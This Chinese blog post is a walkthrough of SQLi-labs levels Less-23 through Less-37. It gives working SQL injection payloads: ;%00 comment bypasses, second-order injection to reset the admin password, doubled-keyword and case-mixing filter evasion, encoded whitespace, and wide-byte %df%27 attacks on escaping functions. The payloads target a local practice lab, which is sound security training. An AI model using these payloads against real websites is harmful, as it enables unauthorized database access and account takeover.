标签:7080 www http sqllabs Less lab 第九篇 Less23 com
Less-23 基于错误去除注释
- 目标
1. 学会使用;%00注入绕过
;%00: 分号之前的语句会被执行,%00是空格,可以绕过检测
输入:http://www.sqllabs.com:7080/Less-23/?id=1' 发现报错

在使用 # 或者 --+ 进行注入的时候,发现还是报错,分析源码,发现对这两种符号进行了替换

输入:http://www.sqllabs.com:7080/Less-23/?id=1; 页面正常的返回

获取其他数据库信息,可以参考之前的,示例:http://www.sqllabs.com:7080/Less-23/?id=-1' union select 1, 2,database();%00 获取当前的数据库

Less-24 二阶注入
- 目标
1. 了解二阶注入
2. 使用二阶注入修改admin用户密码
二阶注入
指的是无法直接注入,指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
与普通注入的区别
普通注入:
1)在http后面构造语句,是立即直接生效的
2)可以通过工具快速扫描到
二阶注入:
1)第一次需要构造恶意语句,存入数据库
2)第二次http请求通过对数据库里恶意的语句进行检索,来构造SQL语句
3)很难通过工具扫描到
在登陆成功之后,发现进入了重置密码的页面
我们注册新的用户,username=admin'#,password=123456

因为在进行重新密码的时候,username=admin'# 后面的语句都被注释,导致我们可以直接修改原来admin的密码,操作成功之后,就可以使用自己设置的密码登陆admin账户了
Less-25 基于错误的双写or&and
- 目标
学会使用 or&and 的过滤注入
- or的绕过
在输入:http://www.sqllabs.com:7080/Less-25/?id=1' order by 3 --+

发现order变成了der,说明or被替换了,通过双写or,成功注入:http://www.sqllabs.com:7080/Less-25/?id=1' oorrder by 3 --+

- and的绕过
输入:http://www.sqllabs.com:7080/Less-25/?id=1' and UpdateXml(1,concat(1,database(),1),1) --+ ,从报错信息来看,发现and已经被过滤了

所以需要对and进行一定的改造:http://www.sqllabs.com:7080/Less-25/?id=1' anandd UpdateXml(1,concat(1,database(),1),1) --+,成功的获取数据库信息

对于or&and的绕过,还可以使用符号的方式: || 和 &&, GET请求需要进行URL编码,比如:http://www.sqllabs.com:7080/Less-25/?id=1' %26%26 UpdateXml(1,concat(1,database(),1),1) --+
Less-26 基于错误的去除空格和注释
- 目标
学会对常用url编码符号的注入
常用的URL编码
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
输入:http://www.sqllabs.com:7080/Less-26/?id=1' 报错,说明单引号注入

输入:http://www.sqllabs.com:7080/Less-26/?id=1' order by 3

说明对常用的注入进行了替换,比如:or、空格等
输入:http://www.sqllabs.com:7080/Less-26/?id=1' oorrder %a0 by %a0 3 --+ 或者使用 注释符 # 都发生了报错,说明也对常见的注释符进行了替换

可以查看一下源码,确实都做了替换

输入:http://www.sqllabs.com:7080/Less-26/?id=1' oorrder %a0 by %a0 3 ;%00 发现正常返回了
获取数据库库名:http://www.sqllabs.com:7080/Less-26/?id=0'union %a0 select %a0 1,2,database() ;%00

Less-26a 基于盲注空格/注释/单引号/小括号
和 Less-26一样,注释符和空格都被替换了
输入:http://www.sqllabs.com:7080/Less-26a/?id=1' 页面没有正常返回,说明存在单引号注入
输入:http://www.sqllabs.com:7080/Less-26a/?id=1' ;%00 页面也没有正常返回,尝试添加括号:http://www.sqllabs.com:7080/Less-26a/?id=1') ;%00, 这是页面正常返回了

其他都和Less-26一样了
Less-27 基于错误的UNION&SELECT字符串单引号
- 目标
使用大小写绕过
输入:http://www.sqllabs.com:7080/Less-27/?id=1' union select 1,2,database()
发现union和select都被替换了,同时空格、注释符也被替换了

尝试使用大小写组合来绕过:http://www.sqllabs.com:7080/Less-27/?id=0' UnioN %a0 SelecT %a01,2,database() ;%00

Less-27a & Less-28
和Less27差不多
Less-27a 将 Less-27的单引号改为双引号
Less-28 将Less-27的单引号改为 ')
Less-29 基于错误WAF注入
直接注入,示例:http://www.sqllabs.com:7080/Less-29/?id=0' union select 1,2,database() --+

Less-30 基于盲注WAF注入
直接注入:http://www.sqllabs.com:7080/Less-30/?id=0" union select 1,2,database() --+

Less-31 基于盲注WAF注入
不知道是不是安装版本的问题,发现这两个题目是一样的

直接注入:http://www.sqllabs.com:7080/Less-31/?id=0") union select 1,2,database() --+

Less-32 危险字符\宽字节注入
- 目标
学习宽字节注入
宽字节是相对ascii单字节而言的,比如GBK,一个GBK编码汉子,占用两个字节
输入:http://www.sqllabs.com:7080/Less-32/?id=1' 发现被添加了反斜杠,改为"也一样

尝试宽字节注入:%df%27
输入:http://www.sqllabs.com:7080/Less-32/?id=0%df%27 union select 1,2,database() --+

Less-33 addslashes函数宽字节注入
addslashes():对输入字符串中的某些预定义字符前添加反斜杠
和Less-32一样,输入示例:
http://www.sqllabs.com:7080/Less-33/?id=-1%df%27 union select 1,2,database() --+

Less-34 POST-addslashes函数宽字节注入
在GET提交参数的时候,会进行urlencode,那么在进行POST请求的时候,就需要进行编码转换,比如%df 转为utf-16: �,要不然注入的时候会报错误
获取列数,输入:
uname=admin&passwd=123456 �' order by 3#
会发生报错,说明只存在两列

获取数据库名
uname=admin&passwd=123456 �' union select 1, database()#

Less-35 整型绕过addslashes()
在输入:http://www.sqllabs.com:7080/Less-35/?id=1', 发现自动带上了\

在输入:http://www.sqllabs.com:7080/Less-35/?id=0 or 1=1
发现正常返回,说明是整型的宽子节注入
输入:http://www.sqllabs.com:7080/Less-35/?id=0 union select 1, 2, database() #, 能正确获取到数据库的信息

Less-36 GET-绕过MYSQL_real_escape_string注入
- 目标
了解mysql_real_escape_string
mysql_real_escape_string转义SQL语句中的特殊字符,受影响的字符有:
\x00
\n
\r
\
'
"
\x1
说明在注入的时候,不能仅仅只是通过',"等着来进行注入,但是我们仍然可以采用宽字节注入的方式
输入:
http://www.sqllabs.com:7080/Less-36/?id=-1%df%27 union select 1,2,database() --+
获取到数据库信息

Less-37 POST-绕过MYSQL_real_escape_string注入
和Less-34一样,也是需要对宽字节进行一下转码
输入:
uname=admin&passwd=1�' union select 1, database()#

标签:7080,www,http,sqllabs,Less,lab,第九篇,Less23,com 来源: https://www.cnblogs.com/ly0d/p/16041612.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。
